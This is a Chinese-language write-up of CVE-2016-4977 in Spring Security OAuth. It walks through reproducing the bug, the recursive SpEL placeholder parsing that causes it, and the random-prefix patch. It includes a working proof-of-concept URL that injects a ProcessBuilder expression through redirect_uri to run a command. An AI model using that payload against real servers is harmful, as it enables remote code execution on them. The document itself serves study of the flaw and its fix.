CVE-2016-4977分析

简介

SpringSecurity是一个流行的权限管理框架,类似Shiro,但功能更加完善。其中OAuth是一个提供安全认证支持的一个模块。用户使用Whitelabel Views处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

漏洞复现

前往某网站下载Demo代码:http://secalert.net/research/cve-2016-4977.zip
环境搭建不复杂,Maven+SpringBoot项目,直接启动

观察启动文件:resources/application.properties,观察到clientId是acme,密码是password

security.oauth2.client.clientId: acme
security.oauth2.client.clientSecret: acmesecret
security.oauth2.client.authorized-grant-types: authorization_code,refresh_token,password
security.oauth2.client.scope: openid
security.oauth2.client.registered-redirect-uri: http://localhost
security.user.password: password

访问url:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hello,输入任意用户名和密码password

看到不合法的redirect_uri有显示,是否hello可以换成表达式呢,访问url:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

进一步测试RCE:http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{99,97,108,99})).start()}

漏洞分析

由于程序使用WhiteLabel视图来做返回页面,所以首先分析下面这个文件:org\springframework\security\oauth2\provider\endpoint\WhitelabelErrorEndpoint.java

private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";

@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
    Map<String, Object> model = new HashMap<String, Object>();
    Object error = request.getAttribute("error");
    // The error summary may contain malicious user input,
    // it needs to be escaped to prevent XSS
    String errorSummary;
    if (error instanceof OAuth2Exception) {
        OAuth2Exception oauthError = (OAuth2Exception) error;
        errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
    }
    else {
        errorSummary = "Unknown error";
    }
    model.put("errorSummary", errorSummary);
    return new ModelAndView(new SpelView(ERROR), model);
}

观察到显示在页面中的errorSummary是oauthError.getSummary(),这里也是程序的关键,加入断点动态调试,访问之前的url,发现表达式被带入了model,根据代码发现model在SpelView中渲染

继续跟着程序到SpelView,路径为org/springframework/security/oauth2/provider/endpoint/SpelView.java。Spel的构造方法中定义了一个helper,传入${},定义了一个resolver,做表达式的解析

public SpelView(String template) {
    this.template = template;
    this.context.addPropertyAccessor(new MapAccessor());
    this.helper = new PropertyPlaceholderHelper("${", "}");
    this.resolver = new PlaceholderResolver() {
        public String resolvePlaceholder(String name) {
            Expression expression = parser.parseExpression(name);
            Object value = expression.getValue(context);
            return value == null ? null : value.toString();
        }
    };
}

下方的render方法主要是做页面的渲染,其中用到了helper.replacePlaceholders(template, resolver);,这里的helpers和resolver是构造方法定义的,template是最上方定义的HTML模板

public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
        throws Exception {
    Map<String, Object> map = new HashMap<String, Object>(model);
    String path = ServletUriComponentsBuilder.fromContextPath(request).build()
            .getPath();
    map.put("path", (Object) path==null ? "" : path);
    context.setRootObject(map);
    String result = helper.replacePlaceholders(template, resolver);
    response.setContentType(getContentType());
    response.getWriter().append(result);
}

跟入helper.replacePlaceholdersparseStringValue的代码比较复杂。实现的功能是从template中找到helper定义的前缀和后缀,然后交给resolver处理,而resolver的处理逻辑正是上文PlaceholderResolver中的表达式解析

public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
    Assert.notNull(value, "'value' must not be null");
    return parseStringValue(value, placeholderResolver, new HashSet<String>());
}

最关键的一步是,parseStringValue方法中存在递归,递归调用导致${xxx${payload}xxx}这样的payload可以被解析到

protected String parseStringValue(String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
    ......
    placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
    ......
}

逻辑上大概是这样:从template中找到${开头并且}结尾的所有部分,第一次取到errorSummary,第二次取到errorSummary里面的表达式,成功操作命令执行,动态调试如下

补丁分析

https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d

SpelView构造方法中,加入了一个随机生成的前缀

this.template = template;
this.prefix = new RandomValueStringGenerator().generate() + "{";
......

render方法中,随机前缀拼接到template之前,可以这样理解${errorSummary} -> random{errorSummary},由于没有递归加,所以payload没有加入random,执行前判断random,由于只有最外层符合,所以无法触发RCE

存在暴力破解的可能,因为random固定是六位。但没有价值,因为每执行一条命令都需要几万次的暴力破解请求

String maskedTemplate = template.replace("${", prefix);
PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}");
String result = helper.replacePlaceholders(maskedTemplate, resolver);
result = result.replace(prefix, "${");